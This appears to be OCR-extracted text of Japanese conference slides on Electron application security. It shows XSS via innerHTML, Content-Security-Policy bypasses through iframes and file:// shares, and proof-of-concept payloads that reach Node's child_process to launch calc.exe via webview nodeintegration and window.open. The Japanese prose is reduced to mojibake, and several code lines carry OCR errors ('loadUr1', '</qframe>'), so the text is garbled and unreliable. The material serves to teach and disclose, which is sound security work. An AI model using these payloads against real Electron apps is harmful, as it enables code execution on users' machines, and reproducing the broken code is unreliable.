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<iframe sandbox="allow-same-origin" id="sb"
srcdoc="<html><div id=msg'></div>..."></iframe>

document . querySelector ("#sb")
.contentDocument.querySelector ("#msg").innerHTML =
"Hello, XSS!<script>alert(1)<¥ /script>";
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<meta http-equiv="Content-Security-Policy"
content="default-src 'self'">

»CSPHMEE SN THwebviewZ I N TIX
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<webview nodeintegration src="data:text/html,
<script>
require('child_process')
.exec('calc.exe', ()=>{})
</script>
"></webview>
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http://utf-8.jp/public/2016/0307/electron.pdf
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pwebviewR I = EHTE_EFTWETIZDON
» XSSIZHBH CSPIFBAHINTLS

// main.js

app.on('ready’, ()=>{
mainWindow = new BrowserWindow({width: 600, height: 400} );
mainWindow. loadUr1( "file://S${__dirname}/index.html  );

<meta http-equiv="Content-Security-Policy'
content="default-src 'self'">
<script src="index.js"></script>

// index.js
document.querySelector ("#msg").innerHTML = xss_source; //XSS!
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<meta http-equiv="Content-Security-Policy"

content="default-src 'self'">
<script src="index.js"></script>

// index.js
document.querySelector ("#msg").innerHTML = xss_source; //XSS!

<script src="http://example.jp/evil.js"></script>--- FEAL L)
<img src=# onload=alert(1)>---CSPT7OvY

<iframe src="http://example.jp/"></iframe> --- CSPTTOvVZ

<iframe src="file.html"></iframe>
- RN B.iframe DX T FHENE
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<meta http-equiv="Content-Security-Policy
content="default-src 'self'">
<script src="index.js"></script>

// index.js
document.querySelector ("#msg").innerHTML = xss_source; //XSS!

<iframe src="file.html"></1frame>

)

<l-- file.htmlN --> . L
<script>console.log(1);</script> iframeITEITINS
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// main.js

app.on('ready', ()=>{
mainWindow = new BrowserWindow({width: 600, height: 400} );
mainWindow. loadUr1( "file://S{__dirname}/index.html™ );

» TaLOMIRARLGLET 7LD RE—F I

console.log( location.origin ); // == "file://"
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<meta http-equiv="Content-Security-Policy"

content="default-src 'self'">
<iframe src="file://server/share/trap.html"></qframe>
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typeof require; // == "undefined"

» nodeZEIcL TwindowZH3ILH T

<script>
window.open( data:text/html,
<script>
require('child_process').exec('calc.exe', ()=>{})
<¥ /script>,
"" "nodeIntegration=1")
</script>
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